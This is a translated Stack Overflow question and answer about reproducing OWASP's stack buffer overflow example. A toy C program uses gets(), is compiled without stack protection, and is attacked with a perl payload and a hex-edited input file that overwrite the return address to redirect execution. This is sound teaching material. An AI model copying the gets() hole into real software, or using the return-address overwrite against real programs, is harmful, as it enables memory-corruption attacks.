无法复制堆栈缓冲区溢出漏洞

时间:2015-05-21 07:16:03

标签: c stack overflow

我无法复制OWASP here给出的堆栈缓冲区溢出示例。

这是我的尝试:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

为什么这不起作用?我假设我应该插入的内存地址是来自retq的{​​{1}}。

我的目标是弄清楚如何执行堆栈缓冲区溢出,该溢出会调用程序中其他位置的函数。任何帮助深表感谢。 :)

1 个答案:

答案 0 :(得分:0)

我正在使用Windows&amp; MSVC,但你应该明白这一点。

请考虑以下代码:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(注意:我必须使用/OPT:NOREF编译它以强制MSVC不要删除&#34;未使用的&#34;代码和/GS-来关闭堆栈检查)

现在,让我在我最喜欢的反汇编程序中打开它: enter image description here

我们想利用gets漏洞,以便执行跳转到someFunc。我们可以看到它的地址是001D1000,所以如果我们可以在缓冲区之外写入足够的字节来覆盖返回地址,那么我们就会很好。让我们在调用gets时查看堆栈:

enter image description here

正如我们所看到的,我们的堆栈分配缓冲区(buf)的8个字节,一些东西的4个字节(实际上是PUSH ed EBP)和返回地址。因此,我们需要写入12个字节的任何内容,然后我们的4个字节的返回地址(001D1000)到&#34;劫持&#34;执行流程。让我们这样做 - 我们将使用十六进制编辑器准备一个包含所需字节的输入文件:

enter image description here

事实上,当我们使用该输入运行程序时,我们得到了这个:

enter image description here

在打印该行之后,由于堆栈上有一些垃圾,它会因访问冲突而崩溃。但是,没有什么能阻止你仔细分析代码并在输入中准备这些字节,程序看起来像普通一样运行(我们可以覆盖地址为ExitProcess的下一个字节,这样就可以了someFunc会跳到那里。)